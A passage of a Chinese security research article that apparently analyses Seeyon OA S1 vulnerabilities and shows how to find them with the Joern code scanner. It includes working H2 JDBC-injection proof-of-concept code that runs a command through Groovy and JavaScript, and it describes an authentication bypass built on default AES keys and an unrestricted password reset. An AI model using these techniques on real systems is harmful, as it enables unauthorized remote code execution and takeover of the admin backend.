15px;"><strong>当我们使用RUNSCRIPT关键字发起远程连接时</strong>，代码将会执行到</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;">org.h2.command.dml.RunScriptCommand#execute</span></code></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000534" data-ratio="0.524948024948025" width="696.272705078125" data-type="png" data-w="962" src="https://wechat2rss.xlab.app/img-proxy/?k=b3f328c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f2Yic553jJbnM5SsdJiadkXYI1z0ib8YhGkSMwxeORYANicC6lPfIa4BaWqg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">这也就意味着我们可以<strong>通过RUNSCRIPT来执行恶意的SQL语句</strong>，但使用RUNSCRIPT意味着，<strong>你的客户端必须出网才有可能利用。</strong></span></p><p style="min-height: 24px;"><span style="font-size: 15px;">而我们之所以要使用RUNSCRIPT，本质是<strong>因为常见的恶意SQL执行命令需要两句</strong>，<strong>而</strong></span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;"><strong>session.prepareCommand</strong></span></code><span style="font-size: 15px;"><strong>并不支持执行多行语句</strong></span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">CREATE ALIAS RUNCMD AS $$&lt;JAVA METHOD&gt;$$;<br/>CALL RUNCMD(command)</span></code></pre><p style="min-height: 24px;"><span style="font-size: 15px;">在Spring Boot H2 console的源码中，我们可以继续寻找问题的解决办法，在SQL语句当中的JAVA方法将会执行到</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;">org.h2.util.SourceCompiler</span></code><span style="font-size: 15px;">,一共有三种编译器，<strong>分别是Java/Javascript/Groovy</strong></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000535" data-ratio="0.2109704641350211" width="735.9090881347656" data-type="png" data-w="948" src="https://wechat2rss.xlab.app/img-proxy/?k=9cb6e7dd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f23Y3HQDDkwkALkwwRNhWiaw4m2Zu2BnY1aSTs6LicqryRXwYIdW77nicKg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="min-height: 24px;"><span style="font-size: 15px;"><strong>如果满足source开头是</strong></span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;"><strong>//groovy</strong></span></code><span style="font-size: 15px;"><strong>或者是</strong></span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;"><strong>@groovy</strong></span></code><span style="font-size: 15px;"><strong>就会使用对应Groovy引擎。</strong></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000538" data-ratio="0.16399082568807338" width="698.3636169433594" data-type="png" data-w="872" src="https://wechat2rss.xlab.app/img-proxy/?k=57417a4e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f29MkJUHPFChg2E3vpPglLGvhNMHBhicnK4kSIABz6fLHdpEq4SYdnDMw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="min-height: 24px;"><span style="font-size: 15px;"><strong>利用</strong></span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;"><strong>@groovy.transform.ASTTEST </strong></span></code><span style="font-size: 15px;"><strong>就可以使用assert来执行命令</strong></span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 12px;">public static void main (String[] args) throws ClassNotFoundException, SQLException {<br/>    String groovy = &#34;@groovy.transform.ASTTest(value={&#34; + &#34; assert java.lang.Runtime.getRuntime().exec(\&#34;open -a Calculator\&#34;)&#34; + &#34;})&#34; + &#34;def x&#34;;<br/>    String url = &#34;jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS &#39;&#34;+ groovy +&#34;&#39;&#34;;<br/>    Connection conn = DriverManager.getConnection(url);<br/>    conn.close();<br/>}</span></code></pre><p style="min-height: 24px;"><span style="font-size: 15px;"><strong>除了Groovy以外还有JavaScript的利用方案</strong></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000539" data-ratio="0.29132231404958675" width="734.9999694824219" data-type="png" data-w="968" src="https://wechat2rss.xlab.app/img-proxy/?k=46e4c9cf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f2YEK5yKe047SROkkTupDWQasia5w6YZFU9SxUfvXAXOpicool6iafPR9kA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 12px;">public static void main (String[] args) throws ClassNotFoundException, SQLException {<br/>    String javascript = &#34;//javascript\njava.lang.Runtime.getRuntime().exec(\&#34;open -a Calculator.app\&#34;)&#34;;<br/>    String url = &#34;jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS &#39;&#34;+ javascript +&#34;&#39;&#34;;<br/>    Connection conn = DriverManager.getConnection(url);<br/>    conn.close();<br/>}</span></code></pre><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;">致远oa S1服务 后台用户密码重置导致的鉴权绕过</h2><p style="min-height: 24px;"><span style="font-size: 15px;">在前面找到对应的利用方案之后，<strong>当我们尝试去做利用的时候会发现其实后台有额外的权限验证</strong>。直接访问testDBConnenction，会报<strong>非法访问的错误。</strong></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000536" data-ratio="0.2422062350119904" width="595.5454406738281" data-type="png" data-w="417" src="https://wechat2rss.xlab.app/img-proxy/?k=2fe1fe1c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f2UgDMLayWKLm5yIdlC2X2Ye8gHrsaPbsiaJz2M4OHguiblIyWNiasIT8eg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">这是<strong>因为没有传入对应的token</strong>，在</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;">com.seeyon.agent.common.utils.TokenUtils</span></code><span style="font-size: 15px;">中可以找到对应的检查</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000537" data-ratio="0.20483641536273114" width="650.5454406738281" data-type="png" data-w="703" src="https://wechat2rss.xlab.app/img-proxy/?k=e740d4c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f2zapcwzy9ib0NianE9ia6TNpicYEzXKVicEjshyyNZAzuib5MR8hzicbf1MUhA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">这里的tokenMap可以在</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;">com.seeyon.agent.common.getway.GetWayController</span></code><span style="font-size: 15px;">找到<strong>对应的写入位置</strong></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000543" data-ratio="0.47649186256781195" width="699.7272644042969" data-type="png" data-w="1106" src="https://wechat2rss.xlab.app/img-proxy/?k=3b5b8b61&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f2Z2ZkuWMVSUVxia6GdkeoYLCsjvGb8e7ol6jaZT6wJnF2E4hYdaEAic5w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="min-height: 24px;"><span style="font-size: 15px;"><strong>通过解密获得username、pwd、dogcode、versions</strong>，<strong>经过各种验证之后token会被存入全局变量</strong></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000544" data-ratio="0.4726947179946285" width="671.7272644042969" data-type="png" data-w="1117" src="https://wechat2rss.xlab.app/img-proxy/?k=1b3d74e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f2zzIyZwnYkcvK9IoBKiaOArUq4XRR0icF9RShibbas4JtFuT1NE6SRTpOg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">这个token会被存入最终的tokenMap当中，而到这里我们问题变成了<strong>如何模拟这个过程</strong>，在这个过程当中我们需要的信息有点儿多</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>username，可以用默认的用户名seeyon</strong></span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>pwd</strong></span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>version</strong></span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>aes的秘钥和iv</strong></span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 15px;">跟踪 AESUtil.Decrypt到定义的位置，可以发现<strong>秘钥和iv都是默认的</strong>，可以直接使用</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000541" data-ratio="0.4857142857142857" width="654.9090881347656" data-type="png" data-w="805" src="https://wechat2rss.xlab.app/img-proxy/?k=2d35f5dd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f2g6Q4unRQhyHG1Gkpofs1fLXlkg311fE3B7V9gTtmTw7ZbPgX2MwjLA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">在</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;">com.seeyon.agent.common.controller.ConfigController</span></code><span style="font-size: 15px;">中可以<strong>找到一个方法modifyDefaultUserInfo</strong></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000542" data-ratio="0.4859075535512965" width="711.1817932128906" data-type="png" data-w="887" src="https://wechat2rss.xlab.app/img-proxy/?k=d4c55c6f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f2gC5fUdVib9GQpUWjhLwG5ibhiaHWaicHR1VFBdUYIpQASYnGqpLbchxcKg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">这个方法可以在<strong>没有任何限制的情况下修改默认用户seeyon的密码</strong></span></p><p style="min-height: 24px;"><span style="font-size: 15px;">最后剩下的一个信息则是version，这个后台的版本比较复杂，我们可以<strong>通过一个接口来获取</strong></span></p><p style="min-height: 24px;"><span style="font-size: 15px;"><strong>在</strong></span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;"><strong>com.seeyon.agent.common.controller.VersionController</strong></span></code><span style="font-size: 15px;"><strong>的getVersion方法</strong>里可以获取对应的版本号</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000540" data-ratio="0.18155893536121673" width="731.1817932128906" data-type="png" data-w="1052" src="https://wechat2rss.xlab.app/img-proxy/?k=44558e0a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f2h5ibf3VRDOoIuq3KicUjJeBuQericic1mRD3DJC5Kr96R8uw5Y5aOvYvkA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">到这里我们获取了模拟token的所有信息，就可以在<strong>后台进行任意操作</strong>了</span></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;">For Joern</h1><p style="min-height: 24px;"><span style="font-size: 15px;">当问题回到源代码扫描上，我们也可以用<strong>类似的漏洞拆解来实现扫描</strong></span></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;">致远oa前台xxe漏洞</h2><p style="min-height: 24px;"><span style="font-size: 15px;">由于这个源码找不到，所以这里<strong>用一个类似场景写出来的语句</strong>来进行<strong>模拟挖掘和扫描</strong>。</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 12px;">def source = cpg.method(&#34;getParameter&#34;).callIn<br/>def sink = cpg.call.filter(_.methodFullName.contains(&#34;java.io.StringReader.&lt;init&gt;&#34;))<br/>sink.reachableByFlows(source).p</span></code></pre><p style="min-height: 24px;"><span style="font-size: 15px;">我们可以通过<strong>连通初始化位置以及可控参数来判断是否存在路径</strong>，正常来说如果两个节点<strong>存在连通路径</strong>，那么就存在<strong>调用关系</strong>，但数据流的过程间分析需要更合理的判定方式，就比如这个漏洞。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000546" data-ratio="0.15030674846625766" width="724.5454406738281" data-type="png" data-w="978" src="https://wechat2rss.xlab.app/img-proxy/?k=42a736b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f2oBkLk0WWleqIyEibmBaYDa29OuQV9sEX1A8g7nQvasMiaa9dDyrPIvmQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="min-height: 24px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;">SAXReader</span></code><span style="font-size: 15px;">的<strong>XXE漏洞修复方案并不是在参数的过滤上</strong>，而是在于</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;">SAXReader</span></code><span style="font-size: 15px;">对<strong>解析xml的配置</strong></span></p><p style="min-height: 24px;"><span style="font-size: 15px;">这就要求<strong>除了获得source到sink的连通性以及调用关系以外</strong>，<strong>还要对</strong></span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;"><strong>SAXReader</strong></span></code><span style="font-size: 15px;"><strong>实例化后的属性变化有所关注</strong>，在Joern上虽然可以强行做这样的判定，但却没有特别适配的方案，甚至需要通过正则匹配等方式来解决。</span></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;">致远oa S1服务 后台jdbc注入</h2><p style="min-height: 24px;"><span style="font-size: 15px;">照理先引入S1的包，这个东西其实代码不是很大，但是不知道为什么解出来的包非常之大，可能有一些问题。</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 12px;">joern&gt; importCode(&#34;S1.jar&#34;, &#34;seeyons1&#34;)<br/>val res36: io.shiftleft.codepropertygraph.Cpg = Cpg (Graph [959587 n</span></code><code><span style="font-size: 15px;">odes])</span></code></pre><p style="min-height: 24px;"><span style="font-size: 15px;">先找到<strong>设置了注解的</strong><strong>testDBConnect方法</strong></span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 12px;">cpg.method(&#34;testDBConnect&#34;).where(_.annotation.name(&#34;.*Mapping&#34;)).l</span></code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000549" data-ratio="0.3403361344537815" width="973.6363425333642" data-type="png" data-w="2142" src="https://wechat2rss.xlab.app/img-proxy/?k=5fc56860&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f2q7HFJH3OOC5MpXfjrTqXzUXepGU45SDibKkQAIaYAfqCMVYCicicicR6KA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">然后再找到<strong>设置jdbc连接的位置</strong>，并<strong>设置参数为3个string</strong></span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 12px;">cpg.method(&#34;getConnection&#34;).callIn.filter(_.methodFullName.contains(&#34;java.lang.String,java.lang.String,java.lang.String&#34;)).l</span></code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000548" data-ratio="0.4076296613801972" width="1060.4545224698127" data-type="png" data-w="2333" src="https://wechat2rss.xlab.app/img-proxy/?k=d68e4b22&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f2ficGarGIbYzpzwibqMSTJVElkibooEnTKCsXBXIrmSaia9wXVibx2LFvHWA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 12px;">def sink = cpg.method(&#34;getConnection&#34;).callIn.filter(_.methodFullName.contains(&#34;java.lang.String,java.lang.String,java.lang.String&#34;))<br/>def source = cpg.method(&#34;testDBConnect&#34;).where(_.annotation.name(&#34;.*Mapping&#34;)).parameter<br/>sink.reachableByFlows(source).p</span></code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000547" data-ratio="0.5932629462041227" width="904.0908894952668" data-type="png" data-w="1989" src="https://wechat2rss.xlab.app/img-proxy/?k=72bceb61&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f2sJeRCicza4ImymYPUttadvVwPuY0M3xrr6LmaQDJPC5icvSj0NcDHyBQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">存在连通性，<strong>表示包含注解的方法参数可以连通到sink点，存在问题。</strong></span></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;">H2 jdbc注入导致RCE</h2><p style="min-height: 24px;"><span style="font-size: 15px;">相比其他几个问题，这个jdbc的利用其实<strong>就不算源代码分析层面的部分</strong>了。</span></p><p style="min-height: 24px;"><span style="font-size: 15px;">无论是<strong>通过H2的链接来配置参数还是通过特殊语句二次利用</strong>，其实本质上都是<strong>H2数据库的feature</strong>，这里我们就跳过源代码分析的部分继续看后面的部分</span></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;"><span style="font-size: 15px;">致远oa S1服务 后台用户密码重置导致的鉴权绕过</span></h2><p style="min-height: 24px;"><span style="font-size: 15px;">让我们把视角在转回S1上，其实问题很简单，<strong>由于后台主要检查token是否有效</strong></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000545" data-ratio="0.20483641536273114" width="650.5454406738281" data-type="png" data-w="703" src="https://wechat2rss.xlab.app/img-proxy/?k=e740d4c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f2zapcwzy9ib0NianE9ia6TNpicYEzXKVicEjshyyNZAzuib5MR8hzicbf1MUhA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">所以我们可以尝试<strong>去寻找全局变量tokenMap初始化过的地方</strong></span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code>cpg.call(&#34;&lt;operator&gt;.fieldAccess&#34;).filter(_.code.equals(&#34;com.seeyon.agent.common.utils.TokenUtils.tokenMap&#34;)).l</code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000553" data-ratio="0.3583840139009557" width="1046.3636136843159" data-type="png" data-w="2302" src="https://wechat2rss.xlab.app/img-proxy/?k=d161f3ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f2ZicIlF3IZMJXS8WPZ9rraGukyicWiaszporr8wWX8ZUUjfbBTiaz7BgBAw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="min-height: 24px;"><span style="font-size: 14px;">然后<strong>寻找对应调用的位置</strong></span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code>cpg.call(&#34;&lt;operator&gt;.fieldAccess&#34;).filter(_.code.equals(&#34;com.seeyon.agent.common.utils.TokenUtils.tokenMap&#34;)).map(n=&gt;n.astIn.head.astIn.head._astIn.head.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName).l</code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000551" data-ratio="0.1409921671018277" width="1044.545431905542" data-type="png" data-w="2298" src="https://wechat2rss.xlab.app/img-proxy/?k=cd3bf374&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f25m9MncUwiayPTVsV82ubpQxjLNR5dM8roN5KPcqcUOj9RqDtks6WjhA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">可以看到<strong>涉及到tokenMap的方法出了isChecktoken以外还有getToken</strong></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000550" data-ratio="0.3613086770981508" width="674.5454406738281" data-type="png" data-w="703" src="https://wechat2rss.xlab.app/img-proxy/?k=e23588fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f2VuE7uicN3aFP5pzq203r1LUxrV6SmLGgr1VCAiaWgGO5aPrAUOTM8iaaQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">然后我们继续<strong>寻找调用了getToken的地方</strong></span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code>cpg.call.filter(_.methodFullName.contains(&#34;com.seeyon.agent.common.utils.TokenUtils.getToken&#34;)).l</code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000554" data-ratio="0.2993744414655943" width="1017.2727052239352" data-type="png" data-w="2238" src="https://wechat2rss.xlab.app/img-proxy/?k=11057dde&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f2qXb2WM29onDSTzwa4jernNJODRibDug9w9wKUKC1wlTwvvkpOVKB5oA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">然后<strong>向上寻找对应的调用函数是什么</strong></span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 15px;">cpg.call.filter(_.methodFullName.contains(&#34;com.seeyon.agent.common.utils.TokenUtils.getToken&#34;)).map(n=&gt;n.astIn.head.astIn.head._astIn.head.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName).l</span></code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000552" data-ratio="0.16523235800344235" width="1056.3636134675717" data-type="png" data-w="2324" src="https://wechat2rss.xlab.app/img-proxy/?k=ae44e665&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f2QfQH1RVficjbqNr1ySYNIehYdTuBxb5BfiaibSCE0hAbAZWkpkOaBibVuA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">在这里我们找到了<strong>调用gettoken的位置</strong>，也正好<strong>对应写入token的位置</strong>。</span></p><p style="min-height: 24px;"><span style="font-size: 15px;">而在后续的利用条件收集中，也可以利用joern来快速挖掘和发现。</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><p><span style="font-size: 15px;"><strong>寻找获取用户名和密码的方法</strong></span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 15px;">这个很简单，就像我们平时做代码审计的时候，会<strong>通过一些关键字来搜索关键代码</strong>一样，在joern中，你可以做类似的事情。我们可以<strong>搜索变量名为username的变量被调用的位置</strong>。</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code>cpg.identifier(&#34;username&#34;)._astIn.dedup.l</code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-imgfileid="100000556" data-ratio="0.33798283261802575" width="847.2727089085859" data-type="png" data-w="1864" src="https://wechat2rss.xlab.app/img-proxy/?k=097ed01f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URaM8IqWoZTTrsVVMOMd5f2oIRZZ3fZgVAvdrZ3IcMNC9ULGjCUPrURP9j32530ADcIUibCafzPQsg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="min-height: 24px;"><span style="font-size: 15px;">当然这显得非常粗暴，数据量非常大，但我们可以做更多的限制，比如<strong>调用该变量的方法必须包含put</strong></span></p><pre 